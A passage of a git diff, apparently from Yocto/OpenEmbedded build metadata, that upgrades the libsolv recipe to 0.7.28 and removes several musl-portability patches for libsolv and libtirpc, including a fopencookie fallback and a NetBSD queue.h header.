-+++ b/ext/solv_xfopen_fallback_fopencookie.c
-@@ -0,0 +1,123 @@
-+/*
-+ * Provides a very limited fopencookie() for environments with a libc
-+ * that lacks it.
-+ *
-+ * Author: zhasha
-+ * Modified for libsolv by Neal Gompa
-+ *
-+ * This program is licensed under the BSD license, read LICENSE.BSD
-+ * for further information.
-+ *
-+ */
-+
-+#define _LARGEFILE64_SOURCE 1
-+#include <pthread.h>
-+#include <stdio.h>
-+#include <stdlib.h>
-+#include <unistd.h>
-+#include <fcntl.h>
-+#include <sys/types.h>
-+#include <errno.h>
-+#include "solv_xfopen_fallback_fopencookie.h"
-+
-+extern int pipe2(int[2], int);
-+
-+struct ctx {
-+ int fd;
-+ void *cookie;
-+ struct cookie_io_functions_t io;
-+ char buf[1024];
-+};
-+
-+static void *proxy(void *arg)
-+{
-+ struct ctx *ctx = arg;
-+ ssize_t r;
-+ size_t n;
-+
-+ pthread_detach(pthread_self());
-+
-+ while (1) {
-+ r = ctx->io.read ?
-+ (ctx->io.read)(ctx->cookie, ctx->buf, sizeof(ctx->buf)) :
-+ read(ctx->fd, ctx->buf, sizeof(ctx->buf));
-+ if (r < 0) {
-+ if (errno != EINTR) { break; }
-+ continue;
-+ }
-+ if (r == 0) { break; }
-+
-+ while (n > 0) {
-+ r = ctx->io.write ?
-+ (ctx->io.write)(ctx->cookie, ctx->buf + ((size_t)r - n), n) :
-+ write(ctx->fd, ctx->buf + ((size_t)r - n), n);
-+ if (r < 0) {
-+ if (errno != EINTR) { break; }
-+ continue;
-+ }
-+ if (r == 0) { break; }
-+
-+ n -= (size_t)r;
-+ }
-+ if (n > 0) { break; }
-+ }
-+
-+ if (ctx->io.close) { (ctx->io.close)(ctx->cookie); }
-+ close(ctx->fd);
-+ return NULL;
-+}
-+
-+FILE *fopencookie(void *cookie, const char *mode, struct cookie_io_functions_t io)
-+{
-+ struct ctx *ctx = NULL;
-+ int rd = 0, wr = 0;
-+ int p[2] = { -1, -1 };
-+ FILE *f = NULL;
-+ pthread_t dummy;
-+
-+ switch (mode[0]) {
-+ case 'a':
-+ case 'r': rd = 1; break;
-+ case 'w': wr = 1; break;
-+ default:
-+ errno = EINVAL;
-+ return NULL;
-+ }
-+ switch (mode[1]) {
-+ case '\0': break;
-+ case '+':
-+ if (mode[2] == '\0') {
-+ errno = ENOTSUP;
-+ return NULL;
-+ }
-+ default:
-+ errno = EINVAL;
-+ return NULL;
-+ }
-+ if (io.seek) {
-+ errno = ENOTSUP;
-+ return NULL;
-+ }
-+
-+ ctx = malloc(sizeof(*ctx));
-+ if (!ctx) { return NULL; }
-+ if (pipe2(p, O_CLOEXEC) != 0) { goto err; }
-+ if ((f = fdopen(p[wr], mode)) == NULL) { goto err; }
-+ p[wr] = -1;
-+ ctx->fd = p[rd];
-+ ctx->cookie = cookie;
-+ ctx->io.read = rd ? io.read : NULL;
-+ ctx->io.write = wr ? io.write : NULL;
-+ ctx->io.seek = NULL;
-+ ctx->io.close = io.close;
-+ if (pthread_create(&dummy, NULL, proxy, ctx) != 0) { goto err; }
-+
-+ return f;
-+
-+err:
-+ if (p[0] >= 0) { close(p[0]); }
-+ if (p[1] >= 0) { close(p[1]); }
-+ if (f) { fclose(f); }
-+ free(ctx);
-+ return NULL;
-+}
-diff --git a/ext/solv_xfopen_fallback_fopencookie.h b/ext/solv_xfopen_fallback_fopencookie.h
-new file mode 100644
-index 0000000..6a7bfee
---- /dev/null
-+++ b/ext/solv_xfopen_fallback_fopencookie.h
-@@ -0,0 +1,28 @@
-+/*
-+ * Provides a very limited fopencookie() for environments with a libc
-+ * that lacks it.
-+ *
-+ * Author: zhasha
-+ * Modified for libsolv by Neal Gompa
-+ *
-+ * This program is licensed under the BSD license, read LICENSE.BSD
-+ * for further information.
-+ *
-+ */
-+
-+#ifndef SOLV_XFOPEN_FALLBACK_FOPENCOOKIE_H
-+#define SOLV_XFOPEN_FALLBACK_FOPENCOOKIE_H
-+
-+#include <stdio.h>
-+#include <stdint.h>
-+
-+typedef struct cookie_io_functions_t {
-+ ssize_t (*read)(void *, char *, size_t);
-+ ssize_t (*write)(void *, const char *, size_t);
-+ int (*seek)(void *, off64_t, int);
-+ int (*close)(void *);
-+} cookie_io_functions_t;
-+
-+FILE *fopencookie(void *cookie, const char *mode, struct cookie_io_functions_t io);
-+
-+#endif
---
-2.11.0
-
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-repo_rpmdb.c-increase-MAX_HDR_CNT-and-MAX_HDR_DSIZE.patch b/meta/recipes-extended/libsolv/libsolv/0001-repo_rpmdb.c-increase-MAX_HDR_CNT-and-MAX_HDR_DSIZE.patch
deleted file mode 100644
index 4a4e5cba25..0000000000
--- a/meta/recipes-extended/libsolv/libsolv/0001-repo_rpmdb.c-increase-MAX_HDR_CNT-and-MAX_HDR_DSIZE.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 1c4c935cb73ac1ccb9693df1a51ba218a22e8ca8 Mon Sep 17 00:00:00 2001
-From: Ming Liu <liu.ming50@gmail.com>
-Date: Sat, 30 Sep 2017 11:15:16 +0800
-Subject: [PATCH] repo_rpmdb.c: increase MAX_HDR_CNT and MAX_HDR_DSIZE
-
-Upstream-Status: Submitted [https://github.com/openSUSE/libsolv/pull/230]
-
-We encountered 'corrupt rpm' issues when installing extreme big RPM
-packages like the kernel-devsrc package of Yocto project.
-
-It can be fixed by increasing MAX_HDR_CNT and MAX_HDR_DSIZE per test.
-
-Signed-off-by: Ming Liu <liu.ming50@gmail.com>
----
- ext/repo_rpmdb.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/ext/repo_rpmdb.c b/ext/repo_rpmdb.c
-index c7000a9..7000835 100644
---- a/ext/repo_rpmdb.c
-+++ b/ext/repo_rpmdb.c
-@@ -170,8 +170,8 @@
- #define MAX_SIG_CNT 0x100000
- #define MAX_SIG_DSIZE 0x100000
-
--#define MAX_HDR_CNT 0x100000
--#define MAX_HDR_DSIZE 0x2000000
-+#define MAX_HDR_CNT 0x200000
-+#define MAX_HDR_DSIZE 0x4000000
-
- typedef struct rpmhead {
- int cnt;
---
-2.7.4
-
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
new file mode 100644
index 0000000000..6f0dea2e9c
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
@@ -0,0 +1,34 @@
+From 06321f1a2aa89b8e028946e793344657eaad0165 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 28 Oct 2021 22:28:45 -0700
+Subject: [PATCH] utils: Conside musl when wrapping qsort_r
+
+musl now has implemented qsort_r, the signature however matches glibc
+and not BSD, current check makes it such that it falls into BSD case
+when building for musl, which clearly is wrong, therefore instead of
+just checking for glibc check for linux to decide which qsort_r
+signature to use. This covers both glibc and musl
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/util.c b/src/util.c
+index 72426e09..8f29bc5a 100644
+--- a/src/util.c
++++ b/src/util.c
+@@ -159,7 +159,7 @@ solv_setcloexec(int fd, int state)
+
+ see also: http://sources.redhat.com/ml/libc-alpha/2008-12/msg00003.html
+ */
+-#if (defined(__GLIBC__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
++#if (defined(__linux__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
+
+ void
+ solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard)
+--
+2.33.1
+
diff --git a/meta/recipes-extended/libsolv/libsolv/0002-Fixes-to-internal-fopencookie-implementation.patch b/meta/recipes-extended/libsolv/libsolv/0002-Fixes-to-internal-fopencookie-implementation.patch
deleted file mode 100644
index efb4e3ad7e..0000000000
--- a/meta/recipes-extended/libsolv/libsolv/0002-Fixes-to-internal-fopencookie-implementation.patch
+++ /dev/null
@@ -1,104 +0,0 @@
-From 99b10cdf6a0f8a24e1670c1813b1d9563ae3f5b5 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Neal=20Gompa=20=28=E3=83=8B=E3=83=BC=E3=83=AB=E3=83=BB?=
- =?UTF-8?q?=E3=82=B3=E3=82=99=E3=83=B3=E3=83=8F=E3=82=9A=29?=
- <ngompa13@gmail.com>
-Date: Mon, 23 Nov 2015 18:19:41 -0500
-Subject: [PATCH 2/2] Fixes to internal fopencookie() implementation
-
-Credits to the fixes go to nsz on #musl on Freenode,
-who gloriously fixed the implementation such that
-the tests all pass.
-
-Upstream-Status: Denied [https://github.com/openSUSE/libsolv/pull/112]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- ext/solv_xfopen_fallback_fopencookie.c | 19 ++++++++++---------
- ext/solv_xfopen_fallback_fopencookie.h | 10 +++++-----
- 2 files changed, 15 insertions(+), 14 deletions(-)
-
-diff --git a/ext/solv_xfopen_fallback_fopencookie.c b/ext/solv_xfopen_fallback_fopencookie.c
-index 0ce2571..89426a9 100644
---- a/ext/solv_xfopen_fallback_fopencookie.c
-+++ b/ext/solv_xfopen_fallback_fopencookie.c
-@@ -1,10 +1,10 @@
--/*
-+/*
- * Provides a very limited fopencookie() for environments with a libc
- * that lacks it.
-- *
-- * Author: zhasha
-+ *
-+ * Authors: zhasha & nsz
- * Modified for libsolv by Neal Gompa
-- *
-+ *
- * This program is licensed under the BSD license, read LICENSE.BSD
- * for further information.
- *
-@@ -33,7 +33,7 @@ static void *proxy(void *arg)
- {
- struct ctx *ctx = arg;
- ssize_t r;
-- size_t n;
-+ size_t n, k;
-
- pthread_detach(pthread_self());
-
-@@ -47,17 +47,18 @@ static void *proxy(void *arg)
- }
- if (r == 0) { break; }
-
-+ n = r, k = 0;
- while (n > 0) {
- r = ctx->io.write ?
-- (ctx->io.write)(ctx->cookie, ctx->buf + ((size_t)r - n), n) :
-- write(ctx->fd, ctx->buf + ((size_t)r - n), n);
-+ (ctx->io.write)(ctx->cookie, ctx->buf + k, n) :
-+ write(ctx->fd, ctx->buf + k, n);
- if (r < 0) {
- if (errno != EINTR) { break; }
- continue;
- }
- if (r == 0) { break; }
-
-- n -= (size_t)r;
-+ n -= r, k += r;
- }
- if (n > 0) { break; }
- }
-@@ -77,8 +78,8 @@ FILE *fopencookie(void *cookie, const char *mode, struct cookie_io_functions_t i
-
- switch (mode[0]) {
- case 'a':
-- case 'r': rd = 1; break;
- case 'w': wr = 1; break;
-+ case 'r': rd = 1; break;
- default:
- errno = EINVAL;
- return NULL;
-diff --git a/ext/solv_xfopen_fallback_fopencookie.h b/ext/solv_xfopen_fallback_fopencookie.h
-index 6a7bfee..7223e3f 100644
---- a/ext/solv_xfopen_fallback_fopencookie.h
-+++ b/ext/solv_xfopen_fallback_fopencookie.h
-@@ -1,13 +1,13 @@
--/*
-+/*
- * Provides a very limited fopencookie() for environments with a libc
- * that lacks it.
-- *
-- * Author: zhasha
-+ *
-+ * Authors: zhasha & nsz
- * Modified for libsolv by Neal Gompa
-- *
-+ *
- * This program is licensed under the BSD license, read LICENSE.BSD
- * for further information.
-- *
-+ *
- */
-
- #ifndef SOLV_XFOPEN_FALLBACK_FOPENCOOKIE_H
---
-2.11.0
-
diff --git a/meta/recipes-extended/libsolv/libsolv_0.6.29.bb b/meta/recipes-extended/libsolv/libsolv_0.6.29.bb
deleted file mode 100644
index e216921ea4..0000000000
--- a/meta/recipes-extended/libsolv/libsolv_0.6.29.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Library for solving packages and reading repositories"
-HOMEPAGE = "https://github.com/openSUSE/libsolv"
-BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
-
-DEPENDS = "expat zlib rpm"
-
-SRC_URI = "git://github.com/openSUSE/libsolv.git \
- file://0001-repo_rpmdb.c-increase-MAX_HDR_CNT-and-MAX_HDR_DSIZE.patch \
- "
-SRC_URI_append_libc-musl = " file://0001-Add-fallback-fopencookie-implementation.patch \
- file://0002-Fixes-to-internal-fopencookie-implementation.patch \
- "
-
-SRCREV = "765be095eaeaef1b1d2a84f6a0e00d5abf677ae9"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-EXTRA_OECMAKE = "-DLIB=${baselib} -DMULTI_SEMANTICS=ON -DENABLE_RPMMD=ON -DENABLE_RPMDB=ON -DENABLE_COMPLEX_DEPS=ON"
-
-PACKAGES =+ "${PN}-tools ${PN}ext"
-
-FILES_${PN}-dev += "${datadir}/cmake/Modules/FindLibSolv.cmake"
-FILES_${PN}-tools = "${bindir}/*"
-FILES_${PN}ext = "${libdir}/${PN}ext.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.28.bb b/meta/recipes-extended/libsolv/libsolv_0.7.28.bb
new file mode 100644
index 0000000000..201059323a
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv_0.7.28.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Library for solving packages and reading repositories"
+DESCRIPTION = "This is libsolv, a free package dependency solver using a satisfiability algorithm for solving packages and reading repositories"
+HOMEPAGE = "https://github.com/openSUSE/libsolv"
+BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
+
+DEPENDS = "expat zlib zstd"
+
+SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https \
+ file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \
+"
+
+SRCREV = "c8dbb3a77c86600ce09d4f80a504cf4e78a3c359"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
+PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm"
+
+EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON -DENABLE_ZSTD_COMPRESSION=ON"
+
+PACKAGES =+ "${PN}-tools ${PN}ext"
+
+FILES:${PN}-tools = "${bindir}/*"
+FILES:${PN}ext = "${libdir}/${PN}ext.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc/0001-include-stdint.h-for-uintptr_t.patch b/meta/recipes-extended/libtirpc/libtirpc/0001-include-stdint.h-for-uintptr_t.patch
deleted file mode 100644
index 1fe9833afe..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc/0001-include-stdint.h-for-uintptr_t.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From b80d3b573c1dade2b29b22f8acc3b9e2c7ddefd7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 20 May 2017 13:36:43 -0700
-Subject: [PATCH] include stdint.h for uintptr_t
-
-Fixes
-| ../../libtirpc-1.0.1/src/xdr_sizeof.c:93:13: error: 'uintptr_t' undeclared (first use in this function); did you mean '__intptr_t'?
-| if (len < (uintptr_t)xdrs->x_base) {
-| ^~~~~~~~~
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/xdr_sizeof.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/xdr_sizeof.c b/src/xdr_sizeof.c
-index d23fbd1..79d6707 100644
---- a/src/xdr_sizeof.c
-+++ b/src/xdr_sizeof.c
-@@ -39,6 +39,7 @@
- #include <rpc/xdr.h>
- #include <sys/types.h>
- #include <stdlib.h>
-+#include <stdint.h>
- #include "un-namespace.h"
-
- /* ARGSUSED */
---
-2.13.0
-
diff --git a/meta/recipes-extended/libtirpc/libtirpc/0001-replace-__bzero-with-memset-API.patch b/meta/recipes-extended/libtirpc/libtirpc/0001-replace-__bzero-with-memset-API.patch
deleted file mode 100644
index d2b4da6ae2..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc/0001-replace-__bzero-with-memset-API.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 20badc3e3608953fb5b36bb2e16fa51bd731aebc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 18 Apr 2017 09:35:35 -0700
-Subject: [PATCH] replace __bzero() with memset() API
-
-memset is available across all libc implementation
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/des_impl.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/des_impl.c b/src/des_impl.c
-index 9dbccaf..15bec2a 100644
---- a/src/des_impl.c
-+++ b/src/des_impl.c
-@@ -588,7 +588,7 @@ _des_crypt (char *buf, unsigned len, struct desparams *desp)
- }
- tin0 = tin1 = tout0 = tout1 = xor0 = xor1 = 0;
- tbuf[0] = tbuf[1] = 0;
-- __bzero (schedule, sizeof (schedule));
-+ memset (schedule, 0, sizeof (schedule));
-
- return (1);
- }
---
-2.12.2
-
diff --git a/meta/recipes-extended/libtirpc/libtirpc/Use-netbsd-queue.h.patch b/meta/recipes-extended/libtirpc/libtirpc/Use-netbsd-queue.h.patch
deleted file mode 100644
index f93223feb4..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc/Use-netbsd-queue.h.patch
+++ /dev/null
@@ -1,878 +0,0 @@
-musl does not provide sys/queue.h implementation. Borrow queue.h from
-the NetBSD project
-http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/sys/queue.h?rev=1.68
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Jörg Krause <joerg.krause@embedded.rocks>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
-diff -Naur libtirpc-1.0.1-orig/src/clnt_bcast.c libtirpc-1.0.1/src/clnt_bcast.c
---- libtirpc-1.0.1-orig/src/clnt_bcast.c 2015-10-30 17:15:14.000000000 +0200
-+++ libtirpc-1.0.1/src/clnt_bcast.c 2015-12-21 17:03:52.066008311 +0200
-@@ -40,7 +40,6 @@
- */
- #include <sys/socket.h>
- #include <sys/types.h>
--#include <sys/queue.h>
-
- #include <net/if.h>
- #include <netinet/in.h>
-@@ -62,6 +61,7 @@
- #include <err.h>
- #include <string.h>
-
-+#include "queue.h"
- #include "rpc_com.h"
- #include "debug.h"
-
-diff -Naur libtirpc-1.0.1-orig/tirpc/queue.h libtirpc-1.0.1/tirpc/queue.h
---- libtirpc-1.0.1-orig/tirpc/queue.h 1970-01-01 02:00:00.000000000 +0200
-+++ libtirpc-1.0.1/tirpc/queue.h 2015-12-21 17:02:44.427853905 +0200
-@@ -0,0 +1,846 @@
-+/* $NetBSD: queue.h,v 1.68 2014/11/19 08:10:01 uebayasi Exp $ */
-+
-+/*
-+ * Copyright (c) 1991, 1993
-+ * The Regents of the University of California. All rights reserved.
-+ *
-+ * Redistribution and use in source and binary forms, with or without
-+ * modification, are permitted provided that the following conditions
-+ * are met:
-+ * 1. Redistributions of source code must retain the above copyright
-+ * notice, this list of conditions and the following disclaimer.
-+ * 2. Redistributions in binary form must reproduce the above copyright
-+ * notice, this list of conditions and the following disclaimer in the
-+ * documentation and/or other materials provided with the distribution.
-+ * 3. Neither the name of the University nor the names of its contributors
-+ * may be used to endorse or promote products derived from this software
-+ * without specific prior written permission.
-+ *
-+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
-+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-+ * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
-+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-+ * SUCH DAMAGE.
-+ *
-+ * @(#)queue.h 8.5 (Berkeley) 8/20/94
-+ */
-+
-+#ifndef _SYS_QUEUE_H_
-+#define _SYS_QUEUE_H_
-+
-+/*
-+ * This file defines five types of data structures: singly-linked lists,
-+ * lists, simple queues, tail queues, and circular queues.
-+ *
-+ * A singly-linked list is headed by a single forward pointer. The
-+ * elements are singly linked for minimum space and pointer manipulation
-+ * overhead at the expense of O(n) removal for arbitrary elements. New
-+ * elements can be added to the list after an existing element or at the
-+ * head of the list. Elements being removed from the head of the list
-+ * should use the explicit macro for this purpose for optimum
-+ * efficiency. A singly-linked list may only be traversed in the forward
-+ * direction. Singly-linked lists are ideal for applications with large
-+ * datasets and few or no removals or for implementing a LIFO queue.
-+ *
-+ * A list is headed by a single forward pointer (or an array of forward
-+ * pointers for a hash table header). The elements are doubly linked
-+ * so that an arbitrary element can be removed without a need to
-+ * traverse the list. New elements can be added to the list before
-+ * or after an existing element or at the head of the list. A list
-+ * may only be traversed in the forward direction.
-+ *
-+ * A simple queue is headed by a pair of pointers, one the head of the
-+ * list and the other to the tail of the list. The elements are singly
-+ * linked to save space, so elements can only be removed from the
-+ * head of the list. New elements can be added to the list after
-+ * an existing element, at the head of the list, or at the end of the
-+ * list. A simple queue may only be traversed in the forward direction.
-+ *
-+ * A tail queue is headed by a pair of pointers, one to the head of the
-+ * list and the other to the tail of the list. The elements are doubly
-+ * linked so that an arbitrary element can be removed without a need to
-+ * traverse the list. New elements can be added to the list before or
-+ * after an existing element, at the head of the list, or at the end of
-+ * the list. A tail queue may be traversed in either direction.
-+ *
-+ * A circle queue is headed by a pair of pointers, one to the head of the
-+ * list and the other to the tail of the list. The elements are doubly
-+ * linked so that an arbitrary element can be removed without a need to
-+ * traverse the list. New elements can be added to the list before or after
-+ * an existing element, at the head of the list, or at the end of the list.
-+ * A circle queue may be traversed in either direction, but has a more
-+ * complex end of list detection.
-+ *
-+ * For details on the use of these macros, see the queue(3) manual page.
-+ */
-+
-+/*
-+ * Include the definition of NULL only on NetBSD because sys/null.h
-+ * is not available elsewhere. This conditional makes the header
-+ * portable and it can simply be dropped verbatim into any system.
-+ * The caveat is that on other systems some other header
-+ * must provide NULL before the macros can be used.
-+ */
-+#ifdef __NetBSD__
-+#include <sys/null.h>
-+#endif
-+
-+#if defined(QUEUEDEBUG)
-+# if defined(_KERNEL)
-+# define QUEUEDEBUG_ABORT(...) panic(__VA_ARGS__)
-+# else
-+# include <err.h>
-+# define QUEUEDEBUG_ABORT(...) err(1, __VA_ARGS__)
-+# endif
-+#endif
-+
-+/*
-+ * Singly-linked List definitions.
-+ */
-+#define SLIST_HEAD(name, type) \
-+struct name { \
-+ struct type *slh_first; /* first element */ \
-+}
-+
-+#define SLIST_HEAD_INITIALIZER(head) \
-+ { NULL }
-+
-+#define SLIST_ENTRY(type) \
-+struct { \
-+ struct type *sle_next; /* next element */ \
-+}
-+
-+/*
-+ * Singly-linked List access methods.
-+ */
-+#define SLIST_FIRST(head) ((head)->slh_first)
-+#define SLIST_END(head) NULL
-+#define SLIST_EMPTY(head) ((head)->slh_first == NULL)
-+#define SLIST_NEXT(elm, field) ((elm)->field.sle_next)
-+
-+#define SLIST_FOREACH(var, head, field) \
-+ for((var) = (head)->slh_first; \
-+ (var) != SLIST_END(head); \
-+ (var) = (var)->field.sle_next)
-+
-+#define SLIST_FOREACH_SAFE(var, head, field, tvar) \
-+ for ((var) = SLIST_FIRST((head)); \
-+ (var) != SLIST_END(head) && \
-+ ((tvar) = SLIST_NEXT((var), field), 1); \
-+ (var) = (tvar))
-+
-+/*
-+ * Singly-linked List functions.
-+ */
-+#define SLIST_INIT(head) do { \
-+ (head)->slh_first = SLIST_END(head); \
-+} while (/*CONSTCOND*/0)
-+
-+#define SLIST_INSERT_AFTER(slistelm, elm, field) do { \
-+ (elm)->field.sle_next = (slistelm)->field.sle_next; \
-+ (slistelm)->field.sle_next = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define SLIST_INSERT_HEAD(head, elm, field) do { \
-+ (elm)->field.sle_next = (head)->slh_first; \
-+ (head)->slh_first = (elm); \
-+} while (/*CONSTCOND*/0)
-+
-+#define SLIST_REMOVE_AFTER(slistelm, field) do { \
-+ (slistelm)->field.sle_next = \
-+ SLIST_NEXT(SLIST_NEXT((slistelm), field), field); \
-+} while (/*CONSTCOND*/0)
-+
-+#define SLIST_REMOVE_HEAD(head, field) do { \
-+ (head)->slh_first = (head)->slh_first->field.sle_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define SLIST_REMOVE(head, elm, type, field) do { \
-+ if ((head)->slh_first == (elm)) { \
-+ SLIST_REMOVE_HEAD((head), field); \
-+ } \
-+ else { \
-+ struct type *curelm = (head)->slh_first; \
-+ while(curelm->field.sle_next != (elm)) \
-+ curelm = curelm->field.sle_next; \
-+ curelm->field.sle_next = \
-+ curelm->field.sle_next->field.sle_next; \
-+ } \
-+} while (/*CONSTCOND*/0)
-+
-+
-+/*
-+ * List definitions.
-+ */
-+#define LIST_HEAD(name, type) \
-+struct name { \
-+ struct type *lh_first; /* first element */ \
-+}
-+
-+#define LIST_HEAD_INITIALIZER(head) \
-+ { NULL }
-+
-+#define LIST_ENTRY(type) \
-+struct { \
-+ struct type *le_next; /* next element */ \
-+ struct type **le_prev; /* address of previous next element */ \
-+}
-+
-+/*
-+ * List access methods.
-+ */
-+#define LIST_FIRST(head) ((head)->lh_first)
-+#define LIST_END(head) NULL
-+#define LIST_EMPTY(head) ((head)->lh_first == LIST_END(head))
-+#define LIST_NEXT(elm, field) ((elm)->field.le_next)
-+
-+#define LIST_FOREACH(var, head, field) \
-+ for ((var) = ((head)->lh_first); \
-+ (var) != LIST_END(head); \
-+ (var) = ((var)->field.le_next))
-+
-+#define LIST_FOREACH_SAFE(var, head, field, tvar) \
-+ for ((var) = LIST_FIRST((head)); \
-+ (var) != LIST_END(head) && \
-+ ((tvar) = LIST_NEXT((var), field), 1); \
-+ (var) = (tvar))
-+
-+#define LIST_MOVE(head1, head2) do { \
-+ LIST_INIT((head2)); \
-+ if (!LIST_EMPTY((head1))) { \
-+ (head2)->lh_first = (head1)->lh_first; \
-+ LIST_INIT((head1)); \
-+ } \
-+} while (/*CONSTCOND*/0)
-+
-+/*
-+ * List functions.
-+ */
-+#if defined(QUEUEDEBUG)
-+#define QUEUEDEBUG_LIST_INSERT_HEAD(head, elm, field) \
-+ if ((head)->lh_first && \
-+ (head)->lh_first->field.le_prev != &(head)->lh_first) \
-+ QUEUEDEBUG_ABORT("LIST_INSERT_HEAD %p %s:%d", (head), \
-+ __FILE__, __LINE__);
-+#define QUEUEDEBUG_LIST_OP(elm, field) \
-+ if ((elm)->field.le_next && \
-+ (elm)->field.le_next->field.le_prev != \
-+ &(elm)->field.le_next) \
-+ QUEUEDEBUG_ABORT("LIST_* forw %p %s:%d", (elm), \
-+ __FILE__, __LINE__); \
-+ if (*(elm)->field.le_prev != (elm)) \
-+ QUEUEDEBUG_ABORT("LIST_* back %p %s:%d", (elm), \
-+ __FILE__, __LINE__);
-+#define QUEUEDEBUG_LIST_POSTREMOVE(elm, field) \
-+ (elm)->field.le_next = (void *)1L; \
-+ (elm)->field.le_prev = (void *)1L;
-+#else
-+#define QUEUEDEBUG_LIST_INSERT_HEAD(head, elm, field)
-+#define QUEUEDEBUG_LIST_OP(elm, field)
-+#define QUEUEDEBUG_LIST_POSTREMOVE(elm, field)
-+#endif
-+
-+#define LIST_INIT(head) do { \
-+ (head)->lh_first = LIST_END(head); \
-+} while (/*CONSTCOND*/0)
-+
-+#define LIST_INSERT_AFTER(listelm, elm, field) do { \
-+ QUEUEDEBUG_LIST_OP((listelm), field) \
-+ if (((elm)->field.le_next = (listelm)->field.le_next) != \
-+ LIST_END(head)) \
-+ (listelm)->field.le_next->field.le_prev = \
-+ &(elm)->field.le_next; \
-+ (listelm)->field.le_next = (elm); \
-+ (elm)->field.le_prev = &(listelm)->field.le_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define LIST_INSERT_BEFORE(listelm, elm, field) do { \
-+ QUEUEDEBUG_LIST_OP((listelm), field) \
-+ (elm)->field.le_prev = (listelm)->field.le_prev; \
-+ (elm)->field.le_next = (listelm); \
-+ *(listelm)->field.le_prev = (elm); \
-+ (listelm)->field.le_prev = &(elm)->field.le_next; \
-+} while (/*CONSTCOND*/0)
-+
-+#define LIST_INSERT_HEAD(head, elm, field) do { \
-+ QUEUEDEBUG_LIST_INSERT_HEAD((head), (elm), field) \
